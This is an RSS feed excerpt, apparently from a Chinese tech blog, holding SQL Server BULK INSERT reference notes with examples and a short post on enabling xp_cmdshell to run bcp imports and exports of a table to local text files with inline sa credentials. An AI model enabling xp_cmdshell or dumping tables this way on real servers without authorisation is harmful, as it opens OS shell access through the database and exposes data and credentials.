native 相同的大容量复制操作，不同之处是 char、varchar 和 text 列在数据文件中存储为 Unicode。要装载的数据文件由大容量复制数据创建，该复制是用 bcp 实用工具从 SQL Server 进行的。该选项是对 widechar 选项的一个更高性能的替代，并且它用于使用数据文件从一个运行 SQL Server 的计算机向另一个计算机传送数据。当传送含有 ANSI 扩展字符的数据时，使用该选项以便利用 native 模式的性能。 FIELDTERMINATOR [ = &#39;field_terminator&#39; ]指定用于 char 和 widechar 数据文件的字段终止符。默认的字段终止符是 \t（制表符）。FIRSTROW [ = first_row ]指定要复制的第一行的行号。默认值是 1，表示在指定数据文件的第一行。FIRE_TRIGGERS指定目的表中定义的任何插入触发器将在大容量复制操作过程中执行。如果没有指定 FIRE_TRIGGERS，将不执行任何插入触发器。FORMATFILE [ = &#39;format_file_path&#39; ]指定一个格式文件的完整路径。格式文件描述了含有存储响应的数据文件，这些存储响应是使用 bcp 实用工具在相同的表或视图中创建的。格式文件应该用于以下情况： 数据文件含有比表或视图更多或更少的列。列使用不同的顺序。列分割符发生变化。数据格式有其它的改变。通常，格式文件通过 bcp 实用工具创建并且根据需要用文本编辑器修改。有关更多信息，请参见 bcp 实用工具。 KEEPIDENTITY指定标识列的值存在于导入文件中。如果没有指定 KEEPIDENTITY，在导入的数据文件中此列的标识值将被忽略，并且 SQL Server 将根据表创建时指定的种子值和增量值自动赋给一个唯一的值。假如数据文件不含该表或视图中的标识列，使用一个格式文件来指定在导入数据时，表或视图中的标识列应被忽略；SQL Server 自动为此列赋予唯一的值。有关详细信息，请参见 DBCC CHECKIDENT。 KEEPNULLS指定在大容量复制操作中空列应保留一个空值，而不是对插入的列赋予默认值。KILOBYTES_PER_BATCH [ = kilobytes_per_batch ]指定每个批处理中数据的近似千字节数（KB）。默认情况下，KILOBYTES_PER_BATCH 未知。LASTROW [ = last_row ]指定要复制的最后一行的行号。默认值是 0，表示指定数据文件中的最后一行。MAXERRORS [ = max_errors ]指定在大容量复制操作取消之前可能产生的错误的最大数目。不能被大容量复制操作导入的每一行将被忽略并且被计为一次错误。如果没有指定 max_errors，默认值为 0。ORDER ( { column [ ASC | DESC ] } [ ,...n ] ) 指定数据文件中的数据如何排序。如果装载的数据根据表中的聚集索引进行排序，则可以提高大容量复制操作的性能。如果数据文件基于不同的顺序排序，或表中没有聚集索引，ORDER 子句将被忽略。给出的列名必须是目的表中有效的列。默认情况下，大容量插入操作假设数据文件未排序。n是表示可以指定多列的占位符。ROWS_PER_BATCH [ = rows_per_batch ]指定每一批处理数据的行数（即 rows_per_bacth）。当没有指定 BATCHSIZE 时使用，导致整个数据文件作为单个事务发送给服务器。服务器根据 rows_per_batch 优化大容量装载。默认情况下，ROWS_PER_BATCH 未知。ROWTERMINATOR [ = &#39;row_terminator&#39; ]指定对于 char 和 widechar 数据文件要使用的行终止符。默认值是 \n（换行符）。TABLOCK指定对于大容量复制操作期间获取一个表级锁。如果表没有索引并且指定了 TABLOCK，则该表可以同时由多个客户端装载。默认情况下，锁定行为是由表选项 table lock on bulk load 决定的。只在大容量复制操作期间控制锁会减少表上的锁争夺，极大地提高性能。注释BULK Ins&#101;rt 语句能在用户定义事务中执行。对于一个用 BULK Ins&#101;rt 语句和 BATCHSIZE 子句将数据装载到使用多个批处理的表或视图中的用户定义事务来说，回滚它将回滚所有发送给 SQL Server 的批处理。权限只有 sysadmin 和 bulkadmin 固定服务器角色成员才能执行 BULK Ins&#101;rt。示例本例从指定的数据文件中导入订单详细信息，该文件使用竖杠 (|) 字符作为字段终止符，使用 |\n 作为行终止符。BULK Ins&#101;rt Northwind.dbo.[Order Details]&nbsp;&nbsp; FROM &#39;f:\orders\lineitem.tbl&#39;&nbsp;&nbsp; WITH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FIELDTERMINATOR = &#39;|&#39;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ROWTERMINATOR = &#39;|\n&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)本例指定 FIRE_TRIGGERS 参数。BULK Ins&#101;rt Northwind.dbo.[Order Details]&nbsp;&nbsp; FROM &#39;f:\orders\lineitem.tbl&#39;&nbsp;&nbsp; WITH&nbsp;&nbsp;&nbsp;&nbsp; (&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FIELDTERMINATOR = &#39;|&#39;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ROWTERMINATOR = &#39;:\n&#39;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FIRE_TRIGGERS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;=============================================================BULK Ins&#101;rt [ database_name . [ schema_name ] . | schema_name . ] [ table_name | view_name ] FROM &#39;data_file&#39; [ WITH ( [ [ , ] BATCHSIZE = batch_size ] --BATCHSIZE指令来设置在单个事务中可以插入到表中的记录的数量 [ [ , ] CHECK_CONSTRAINTS ] --指定在大容量导入操作期间，必须检查所有对目标表或视图的约束。若没有 CHECK_CONSTRAINTS 选项，则所有 CHECK 和 FOREIGN KEY 约束都将被忽略，并且在此操作之后表的约束将标记为不可信。 [ [ , ] CODEPAGE = { &#39;ACP&#39; | &#39;OEM&#39; | &#39;RAW&#39; | &#39;code_page&#39; } ] --指定该数据文件中数据的代码页 [ [ , ] DATAFILETYPE = { &#39;char&#39; | &#39;native&#39;| &#39;widechar&#39; | &#39;widenative&#39; } ] --指定 BULK Ins&#101;rt 使用指定的数据文件类型值执行导入操作。 [ [ , ] FIELDTERMINATOR = &#39;field_terminator&#39; ] --标识分隔内容的符号 [ [ , ] FIRSTROW = first_row ] --指定要加载的第一行的行号。默认值是指定数据文件中的第一行 [ [ , ] FIRE_TRIGGERS ] --是否启动触发器 [ [ , ] FORMATFILE = &#39;format_file_path&#39; ] [ [ , ] KEEPIDENTITY ] --指定导入数据文件中的标识值用于标识列 [ [ , ] KEEPNULLS ] --指定在大容量导入操作期间空列应保留一个空值，而不插入用于列的任何默认值 [ [ , ] KILOBYTES_PER_BATCH = kilobytes_per_batch ] [ [ , ] LASTROW = last_row ] --指定要加载的最后一行的行号 [ [ , ] MAXERRORS = max_errors ] --指定允许在数据中出现的最多语法错误数，超过该数量后将取消大容量导入操作。 [ [ , ] o&#114;DER ( { column [ ASC | DESC ] } [ ,...n ] ) ] --指定数据文件中的数据如何排序 [ [ , ] ROWS_PER_BATCH = rows_per_batch ] [ [ , ] ROWTERMINATOR = &#39;row_terminator&#39; ] --标识分隔行的符号 [ [ , ] TABLOCK ] --指定为大容量导入操作持续时间获取一个表级锁 [ [ , ] ERRORFILE = &#39;file_name&#39; ] --指定用于收集格式有误且不能转换为 OLE DB 行集的行的文件。 )] 下面写个个简单的应用例子bulk ins&#101;rt xsxt.dbo.tabletest from &#39;c:\data.txt&#39; with( FIELDTERMINATOR=&#39;,&#39;, ROWTERMINATOR=&#39;\n&#39; )</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.Fuckadmin.com/Blog/article.asp?id=757</link>
			<title><![CDATA[[SQL SERVER] SQL语句 数据导入导出到文本]]></title>
			<author>x14071z1@gmail.com(hkylin)</author>
			<category><![CDATA[计算机技术]]></category>
			<pubDate>Sun,09 May 2010 00:55:22 +0800</pubDate>
			<guid>http://www.Fuckadmin.com/Blog/default.asp?id=757</guid>
		<description><![CDATA[环境：sql2005<br/>首先在外围服务配置器开启xp_cmdshell，<br/><br/>//导入 注意数据类型！！！&nbsp;&nbsp; <br/><span style="color:Red">EXEC&nbsp;&nbsp;master..xp_cmdshell&nbsp;&nbsp;&#39;bcp&nbsp;&nbsp;maya.dbo.acc_table&nbsp;&nbsp;in&nbsp;&nbsp;c:\x\123123.txt&nbsp;&nbsp;-c&nbsp;&nbsp;-q&nbsp;&nbsp;-S&#34;127.0.0.1&#34;&nbsp;&nbsp;-U&#34;sql用户名&#34;&nbsp;&nbsp;-P&#34;sql密码&#34;&#39;</span><br/><br/>//导出&nbsp;&nbsp;<br/><span style="color:Red">EXEC&nbsp;&nbsp;master..xp_cmdshell&nbsp;&nbsp;&#39;bcp&nbsp;&nbsp;maya.dbo.acc_table&nbsp;&nbsp;out&nbsp;&nbsp;c:\x\123.txt&nbsp;&nbsp;-c&nbsp;&nbsp;-q&nbsp;&nbsp;-S&#34;127.0.0.1&#34;&nbsp;&nbsp;-U&#34;sa&#34;&nbsp;&nbsp;-P&#34;pwd&#34;&#39;&nbsp;&nbsp; </span><br/>//带条件导出 <br/><span style="color:Red">EXEC&nbsp;&nbsp;master..xp_cmdshell&nbsp;&nbsp;&#39;bcp&nbsp;&nbsp;&#34;sel&#101;ct top 1 * from maya.dbo.acc_table&#34; queryout&nbsp;&nbsp;c:\x\123.txt&nbsp;&nbsp;-c&nbsp;&nbsp;-q&nbsp;&nbsp;-S&#34;127.0.0.1&#34;&nbsp;&nbsp;-U&#34;sa&#34;&nbsp;&nbsp;-P&#34;pwd&#34;&#39; </span> <br/><br/>另外有个&#34;bulk&nbsp;&nbsp;ins&#101;rt&#34;，还不知道怎么使用。。稍后补上。。。。<br/><br/>]]></description>
		</item>
		
</channel>
</rss>
